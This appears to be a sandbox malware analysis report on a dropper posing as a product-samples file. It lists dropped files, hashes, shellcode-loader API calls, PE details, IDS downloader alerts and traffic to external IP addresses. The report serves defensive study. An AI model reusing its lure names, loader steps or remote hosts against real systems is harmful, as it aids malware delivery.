SHA-512:	C7B1AFD95299C0712BDBC67F9D2714926D6EC9F71909AF615AFFC400D8D2216AB76F6AC35057088836435DE36E919507E1B25BE87B07C911083F964EB67E003B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	kernel32::SetFilePointer(i r5, i 1200 , i 0,i 0)i.r3

C:\Users\user\AppData\Local\Temp\nsr1362.tmp

Download File

Process:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	74
Entropy (8bit):	3.9637832956585757
Encrypted:	false
SSDEEP:	3:sRQE1wFEt/ijNJyI3dj2+n:aQEGiwh3D
MD5:	16D513397F3C1F8334E8F3E4FC49828F
SHA1:	4EE15AFCA81CA6A13AF4E38240099B730D6931F0
SHA-256:	D3C781A1855C8A70F5ACA88D9E2C92AFFFA80541334731F62CAA9494AA8A0C36
SHA-512:	4A350B790FDD2FE957E9AB48D5969B217AB19FC7F93F3774F1121A5F140FF9A9EAAA8FA30E06A9EF40AD776E698C2E65A05323C3ADF84271DA1716E75F5183C3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	kernel32::CreateFileA(m r4 , i 0x80000000, i 0, p 0, i 4, i 0x80, i 0)i.r5

C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.72460245623286
Encrypted:	false
SSDEEP:	96:3IsUxO9udx4qYp7AJb76BykUbQMtHUOA5Iv+RnsrqeXV+d1g2IW9t2c+cEwF9oug:YVL7ikJb76BQUoUm+RnyXVYO2RvHoug
MD5:	CF85183B87314359488B850F9E97A698
SHA1:	6B6C790037EEC7EBEA4D05590359CB4473F19AEA
SHA-256:	3B6A5CB2A3C091814FCE297C04FB677F72732FB21615102C62A195FDC2E7DFAC
SHA-512:	FE484B3FC89AEED3A6B71B90B90EA11A787697E56BE3077154B6DDC2646850F6C38589ED422FF792E391638A80A778D33F22E891E76B5D65896C6FB4696A2C3B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: RFQ.exe, Detection: malicious, Browse Filename: RFQ.exe, Detection: malicious, Browse Filename: RFQ.exe, Detection: malicious, Browse Filename: RFQ.exe, Detection: malicious, Browse Filename: Document#.exe, Detection: malicious, Browse Filename: Document#.exe, Detection: malicious, Browse Filename: dhl_awb_shipping_invoice_24_05_2024_000000000000024.exe, Detection: malicious, Browse Filename: dhl_awb_shipping_invoice_24_05_2024_000000000000024.exe, Detection: malicious, Browse Filename: vpv0eXLADR.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L...k..Q...........!.................&.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............................... ..`.rdata..C....0......."..............@..@.data...h....@.......&..............@....reloc..H....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsz1B73.tmp

Download File

Process:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.3961372137069485
Encrypted:	false
SSDEEP:	3:sEMBQEJkJVEjBm/MFWxQoXUn:+RWxvUn
MD5:	210E1DB7D57A610F482EAD12F5D55546
SHA1:	611874360D76CE3BC238EC9F335E54E422B87FA5
SHA-256:	18186F100AD3AEE037C814D04A1F8BA01B8FD760A524FBEE988380DC2DCE250A
SHA-512:	8900C502AA8365673EF13EEA6738358D261BD689CDB2C738AB155461167ACDF60494F1102BF9A1D81E116697FA943A6B06A3733C2FBC0B87F56814C56F6B4F00
Malicious:	false
Preview:	kernel32::VirtualAlloc(i 0,i 48144384, i 0x3000, i 0x40)p.r1

C:\Users\user\AppData\Local\jazy.lnk

Download File

Process:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	960
Entropy (8bit):	3.331494472222597
Encrypted:	false
SSDEEP:	12:8wl0BRsXUjgJEIXYWd8FKEMJsW+sl38MPAE0B33laZmN1U4t2YCBTo:8l+CeYWd8FKnyG1InB3UZCiJT
MD5:	02B3AD0BC72EFF61E281F4DBFC87ED33
SHA1:	02DD8D792844FE5CE72D5CB1856BFE1257E96896
SHA-256:	640E2C2FC86090DE80A73C5A585FA7ED73E264ADB0F732DB2B915CBE347AA3E8
SHA-512:	E224E70D7B2C3807ED4459A6FE9E4640BEBC278DCBA755639392145533D60C3FF3C0CE3E63B488F54345578C7C144001D56C394FECE8DE090E3AC114769D8AF9
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>............................................D.y.l.a.n.e.....\.1...........Documents.D............................................D.o.c.u.m.e.n.t.s.....b.2...........skinder.mun.H............................................s.k.i.n.d.e.r...m.u.n.............\.....\.D.o.c.u.m.e.n.t.s.\.s.k.i.n.d.e.r...m.u.n.o.C.:.\.U.s.e.r.s.\.D.y.l.a.n.e.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.T.e.m.p.l.a.t.e.s.\.k.o.n.f.l.i.k.t.t.i.l.s.t.a.n.d.e.n.e.s.\.p.o.l.y.a.u.t.o.g.r.a.p.h.y.\.c.r.o.t.a.l.i.d.\.U.r.g.i.n.g.............-...............#.F..l.H.i.-...............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.4.2.5.3.1.6.5.6.7.-.2.9.6.9.5.8.8.3.8.2.-.3.7.7.8.2.2.2.4.1.4.-.1.0.0.3.................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Aerolitic.opk

Download File

Process:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
File Type:	data
Category:	dropped
Size (bytes):	477423
Entropy (8bit):	1.2506672981439135
Encrypted:	false
SSDEEP:	1536:WkOR7fUmO74tFrjEiHzBA0n/FHjfyzjw0W1wtw3/aU00ID:HGcyvHHzpxm40awtp
MD5:	95377A86A6EF1A7E49728D904BFF2B04
SHA1:	DBD60478FFD1CD3A056B57D2F57931D656081394
SHA-256:	AD82696AB378938B13F43641D615DBEA7D09A8F532BBDCF60B91D5A0607A3B21
SHA-512:	E0651A4801B2C199990C7954BA00D3E7890F4F2B47A14B07C29BC8DDE8CD7990FF5AB851D803864E8842438074132ABF1C559C7C5ABD6A5F0B00F6F6B56B7D7C
Malicious:	false
Preview:	F..............................W..........................,...................................^...........Q...........................n.........................................................................................0..................h..{.........%........+.............../...........................>.................[.................. ..........^....................................................O..................................................:..............................................................Z..}.....................................................0......................................d...................................*.....................................................................................1......................(.......................m..........................3..............................................l...T.................=............Q.................................P.........c.............M.........................d.................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Agatize.Ret

Download File

Process:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
File Type:	data
Category:	dropped
Size (bytes):	112909
Entropy (8bit):	4.591397373758405
Encrypted:	false
SSDEEP:	1536:oCMHd1/BH7JP0IejKdjw+v4TopG+CweDDKX+NnRFCpWYfwXcRra:g/xJ0pj+LcDDyy/YfwXcRra
MD5:	89C45E07E092936DE73A3A8CA0842133
SHA1:	CA94EFB89EAA96D88D5990081B0008500164CB61
SHA-256:	77C5C49D07CCF105A686FA9BDFE14FCD558013CDD3FB5B8428B8C0A8E7B444CD
SHA-512:	F2802A989BE14B8FC574B3FB72422A543325CD59D3EEFE38108B9CCD60E13CEB517665D5667B5965177746F1E95F3CEB86C794AC2B76A3E93711301008EF7335
Malicious:	false
Preview:	..............PPP...2..S...y..BB......YYYY..```............................._.{{{{..P.l.$................................M.GGG..............mm..........t....JJ.............S...................44............./.........9............................;.........................jjj................WW..........))...................~~............uu..............z................&....[..<..........77...............................F.'......z........u.....................o..T......................D..~..........[[...............eee....;.ii............C...........(.E..+....u.........III....R......xx..:...((...............J.a..=.....gg..m....KKKKKKK.....................C.....7............u../.,.....................................&....U.b..ZZ........77..........xxx....```....'........................88.............................}........!.<<<<<<<<<....!!...\|..............[.RRRR.!.S.....''....................L.........................,,.......................o..........H..............................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging\ssterparti.inc

Download File

Process:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
File Type:	data
Category:	dropped
Size (bytes):	249627
Entropy (8bit):	1.2496968633941035
Encrypted:	false
SSDEEP:	768:bpNIZEedqLV/+lQDfk647so85yNWd/22GUMUq5kQZb+N7LH7NJroTBAO/neZh07v:tNXB4IpvbHrcpT7wch7
MD5:	E31CA15A1FA461A37BDEF089CE7C1AEB
SHA1:	C11D4F0C0B9B7EC01405DF760BF57DD05C1320EB
SHA-256:	C177C2438C3B76CDA1D7429835387A4025A29E0804019917A637653985D7A21D
SHA-512:	0C1E2DCCF5B147FAFF87BC6A785F08BCAC243899F54B58BF1386E3EE8DF0B1CDEF6DC07FF4E4EA8C7D81DCAD7EB1516EF9BC216FCF5EE1DD17D20BD0733D27F4
Malicious:	false
Preview:	.....................-...\|.............................Z........................................................~......T.................................................................................................................................[....F....................................................................................B...................................................................................j..........x......r.............................x...(...........H......................................*...................................$.y..................{...\........~.......................................................h............#....................&.......+.............................................................+.........................................................w............................................................{...............{........................H......................................S.......e....................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\cuocos.hal

Download File

Process:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
File Type:	data
Category:	dropped
Size (bytes):	227146
Entropy (8bit):	1.2507962577643048
Encrypted:	false
SSDEEP:	768:6rzdwfqNWzLNV9xQfldyXMlAW7/QmwODzSwoIOFI4Z47LZYraJuQaUv+ExLyVDbU:QgulAY/jjLKm3Se4W/RCtk
MD5:	1B56689CE88E0D73CBC9729C939F4343
SHA1:	6E202730B13AFC6AAD3AF416BA1DF2F9D9D61C10
SHA-256:	BA9B41B120C3F48A1E5615BF65EC729DE135F5A73B0F2F910510E2AD10DCF03F
SHA-512:	A0510253E13D45B1925B065E3AB35723752D4ADA9C53146B97A6D372D8C218093554D7CB16F8102A10FBAB907B392E832AC03FDA5E8E9E944FA3B8814C231CC0
Malicious:	false
Preview:	...........a..z.........................)....................3...............................................................................................................................................................................................................c.........R..........................<...............................................s....................................................................R................N...@......................................................J....................................................?............................P.......................................................T........................4...............M.............................S..........................................................t.t...............)..........!........"7................................................................;...............................M............v................+.../..5................................................o..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\holosaprophyte.txt

Download File

Process:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	528
Entropy (8bit):	4.28284467655082
Encrypted:	false
SSDEEP:	12:Uh++iS7FwoXJSAN2NqE77aWVk7PQvnPWFlHXLZTAd:Uh7xwoXf2UEHLe7Qmz7ZTW
MD5:	19CF575DB84A92DCE3430894128142B0
SHA1:	0C9628D7A7ABA3D61DA337A8C2997391309CEDA8
SHA-256:	F63EBFFB144306D1FCA9BBD00F443B60BBEB019D469BD63DD83D960ECD3DC9AA
SHA-512:	EFFC75C60402B65F554E454C15B52A8C90D232AEF16007EE151D4EC924C486BC29B07DBD9049C0E33B3DC5A9FC49B53C58FE233ED38F3A6700475E07C04D0D06
Malicious:	false
Preview:	udparcelleres kardinalens apprehensions tetanical korpsene kjolesttets.tapstederne factoringselskaberne staffing uproariously angulo sterhytte aliptae intetanende cavalcaded sladdervorn pjaskfuldt sjlen..launches chowries kriminalkommissr researchful.sinologist maximillian unitarismes eftermodning unusurping decarbonize barytpapirs unjuridical etiopiernes skdebarn..radicalness brushanernes anthoecologist nedtones unfunded tass sloganizes..formodnings kommercielle relativstnings electronography husassistenters drivhusenes..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\redefying.way

Download File

Process:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
File Type:	data
Category:	dropped
Size (bytes):	434486
Entropy (8bit):	6.995272621270874
Encrypted:	false
SSDEEP:	6144:3kVhUPrseov2p7np9ELPZWefolMx495ZfCHgsYgy4Ar5:mPeov2tnPGZPdJHgsYgCr5
MD5:	E7D15ADB4309C1B63FEF61602F91390D
SHA1:	8552DD90E02579447A9FBE6A5A3FDA8BB153E3FF
SHA-256:	5D3ACD5712116FF97CC7DC47AA2647232FBFD7869AF4A2FB9F164E6270E870F8
SHA-512:	A6D3D47F002CF138D74516D0613836B25719954A0030907D1294AFC9C868148F0BB555F349E17AF5DD4C1CC57295C84F080F9A72EA8958384AE1714257CB57AC
Malicious:	false
Preview:	...//.......O.""".66....................B..7.,.pp......OOOOOOO..................TT...........<......JJ.]]......aaa.x..................uu..........]....3333..#.....,...k.....666666.......w..........ee........................~~~~.++.........LL.......j..t.............~..............<.........V......................................""...................... .................................................................@........MMM..t.Q.................e.UUU.........3.....X.....]....7.....................Y..O..............................__...............\|..U.SS..............>>>>.................444..///.YYY...vv....b......%.................................k.}.....................>...........{......]]...****...........^.....................00.................i.........j.4.kkk....#......T....6666.......L.................................0..66666...y...................xx.#.]....tttt........qqq...-.......................H.........~..........................;;...................................

C:\Users\user\AppData\Roaming\stub\Sophia.exe

Download File

Process:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	634320
Entropy (8bit):	7.8636262102112875
Encrypted:	false
SSDEEP:	12288:2qkIddrO3HTLOGOlN1ruuG3DeoNjqqtRaG31TAHcF1umM:3vdxOXTL+bi/dXaGDF1umM
MD5:	9CA0138738DCC4FAA58C59C0898D4834
SHA1:	D904EFBF202092B4B29862951C2B39D1C298AC1B
SHA-256:	87DA16B9E0F9FC7D74735C59B920DEA8460D91F497380AA1A83834B86771B9E2
SHA-512:	15ACD62254345446B20D040924C397989FF7FB3257C01DE6F998FD36A4798D696942A9E9A939158133622E4927F1F155FC5DB946C5A92C64F73F625D078774D0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<`..x...x...x......z...x..........i...,"..t.......y...Richx...........................PE..L...v..Q.................\....9......0.......p....@...........................<..............................................s........<.............................................................................p...............................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data.....9..........r..............@....ndata.......0:..........................rsrc.........<......v..............@..@................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.8636262102112875
TrID:	Win32 Executable (generic) a (10002005/4) 92.16% NSIS - Nullsoft Scriptable Install System (846627/2) 7.80% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Drawing_Products_Materials_and_Samples_IMG.exe
File size:	634'320 bytes
MD5:	9ca0138738dcc4faa58c59c0898d4834
SHA1:	d904efbf202092b4b29862951c2b39d1c298ac1b
SHA256:	87da16b9e0f9fc7d74735c59b920dea8460d91f497380aa1a83834b86771b9e2
SHA512:	15acd62254345446b20d040924c397989ff7fb3257c01de6f998fd36a4798d696942a9e9a939158133622e4927f1f155fc5db946c5a92c64f73f625d078774d0
SSDEEP:	12288:2qkIddrO3HTLOGOlN1ruuG3DeoNjqqtRaG31TAHcF1umM:3vdxOXTL+bi/dXaGDF1umM
TLSH:	28D4120BFE8D036ED39D46B239BB0278CB59CF5351906856BBC5FDAE583168DA8430D2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<`..x...x...x.......z...x...........i...,"..t.......y...Richx...........................PE..L...v..Q.................\....9....

File Icon


Icon Hash:	24ed8d96b2ade832

Static PE Info

General

Entrypoint:	0x4030ef
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x51E30576 [Sun Jul 14 20:09:26 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b40f29cd171eb54c01b1dd2683c9c26b

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN="Opiniater Unvolatile ", O=Skyldneren, L=Rockland St Peter, S=England, C=GB
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	31/12/2023 02:53:52 30/12/2026 02:53:52
Subject Chain	CN="Opiniater Unvolatile ", O=Skyldneren, L=Rockland St Peter, S=England, C=GB
Version:	3
Thumbprint MD5:	3D226A56E03EFAA16289060A91F23E1C
Thumbprint SHA-1:	405658081748E5E8A626AD0EF5A077FCBADAE86E
Thumbprint SHA-256:	229F170A4B19E73BADFF4BE275F919526541F7A240F2EA997996B3D677B34936
Serial:	015F1E3D2215A6DAC3895182D244853A80F08D13

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409190h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070B0h]
push ebx
call dword ptr [0040728Ch]
push 00000008h
mov dword ptr [007A27B8h], eax
call 00007F66E8A55B48h
mov dword ptr [007A2704h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0079DCB8h
call dword ptr [00407164h]
push 00409180h
push 007A1F00h
call 00007F66E8A557F2h
call dword ptr [0040711Ch]
mov ebp, 007A8000h
push eax
push ebp
call 00007F66E8A557E0h
push ebx
call dword ptr [00407114h]
cmp byte ptr [007A8000h], 00000022h
mov dword ptr [007A2700h], eax
mov eax, ebp
jne 00007F66E8A52DDCh
mov byte ptr [esp+14h], 00000022h
mov eax, 007A8001h
push dword ptr [esp+14h]
push eax
call 00007F66E8A5528Dh
push eax
call dword ptr [00407220h]
mov dword ptr [esp+1Ch], eax
jmp 00007F66E8A52E95h
cmp cl, 00000020h
jne 00007F66E8A52DD8h
inc eax
cmp byte ptr [eax], 00000020h
je 00007F66E8A52DCCh

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x73a4	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3c0000	0xdbd8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x99ae8	0x12e8	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5bc8	0x5c00	0dfea16d5f7d29b49617c6d476811b8f	False	0.6820652173913043	data	6.509979623096964	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x11ce	0x1200	6c31e0693072284f258d2c4a271de506	False	0.4524739583333333	OpenPGP Secret Key	5.236327486414569	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x3997f8	0x400	3e7188ab31a597163972f006b0a1b0b0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a3000	0x1d000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3c0000	0xdbd8	0xdc00	a72c7056af1a0fa33cb886ea0b058fbb	False	0.09834872159090909	data	3.8171742903256005	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3c01d8	0xd228	Device independent bitmap graphic, 101 x 256 x 32, image size 51712, resolution 9055 x 9055 px/m	English	United States	0.07864312267657993
RT_DIALOG	0x3cd400	0x100	data	English	United States	0.5234375
RT_DIALOG	0x3cd500	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x3cd5f8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x3cd658	0x14	data	English	United States	1.15
RT_VERSION	0x3cd670	0x25c	data	English	United States	0.5165562913907285
RT_MANIFEST	0x3cd8d0	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
KERNEL32.dll	Sleep, GetShortPathNameA, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, GetLastError, CreateDirectoryA, CompareFileTime, SearchPathA, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, ExitProcess, SetEnvironmentVariableA, GetWindowsDirectoryA, SetFileAttributesA, lstrcmpiA, SetErrorMode, LoadLibraryA, lstrlenA, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, lstrcpyA, lstrcatA, GetSystemDirectoryA, GetVersion, GetProcAddress, WaitForSingleObject, SetFileTime, CloseHandle, GlobalFree, lstrcmpA, ExpandEnvironmentStringsA, GetExitCodeProcess, GlobalAlloc, GetModuleHandleA, LoadLibraryExA, GetCommandLineA, GetTempPathA, FreeLibrary, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, ReadFile, FindClose, GetPrivateProfileStringA, WritePrivateProfileStringA, MulDiv, WriteFile, MultiByteToWideChar
USER32.dll	CreateWindowExA, EndDialog, ScreenToClient, GetWindowRect, EnableMenuItem, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, GetDC, SystemParametersInfoA, RegisterClassA, TrackPopupMenu, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, DestroyWindow, CreateDialogParamA, SetTimer, GetDlgItem, wsprintfA, SetForegroundWindow, ShowWindow, IsWindow, LoadImageA, SetWindowLongA, SetClipboardData, EmptyClipboard, OpenClipboard, EndPaint, PostQuitMessage, FindWindowExA, SendMessageTimeoutA, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegCloseKey, RegOpenKeyExA, RegDeleteKeyA, RegDeleteValueA, RegEnumValueA, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeA, GetFileVersionInfoA, VerQueryValueA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-24T16:31:07.421987+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.30	49809	64.188.18.75	80	TCP
2024-09-24T16:31:10.828763+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:13.562087+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:14.013711+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.30	49812	172.67.177.134	443	TCP
2024-09-24T16:31:14.296332+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:14.742507+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.30	49813	172.67.177.134	443	TCP
2024-09-24T16:31:16.061568+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:16.515085+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.30	49814	172.67.177.134	443	TCP
2024-09-24T16:31:16.795757+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:17.255560+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.30	49815	172.67.177.134	443	TCP
2024-09-24T16:31:17.592467+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:18.066005+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.30	49816	172.67.177.134	443	TCP
2024-09-24T16:31:18.951543+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:19.413571+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.30	49817	172.67.177.134	443	TCP
2024-09-24T16:31:19.717044+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:20.165549+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.30	49818	172.67.177.134	443	TCP
2024-09-24T16:31:20.466845+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.30	49810	158.101.44.242	80	TCP
2024-09-24T16:31:20.928000+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.11.30	49819	172.67.177.134	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 24, 2024 16:31:07.203886032 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.312484026 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.312783003 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.313019991 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.421670914 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.421696901 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.421722889 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.421845913 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.421987057 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.422158957 CEST	49809	80	192.168.11.30	64.188.18.75
Sep 24, 2024 16:31:07.530607939 CEST	80	49809	64.188.18.75	192.168.11.30
Sep 24, 2024 16:31:07.530622959 CEST	80	49809	64.188.18.75	192.168.11.30
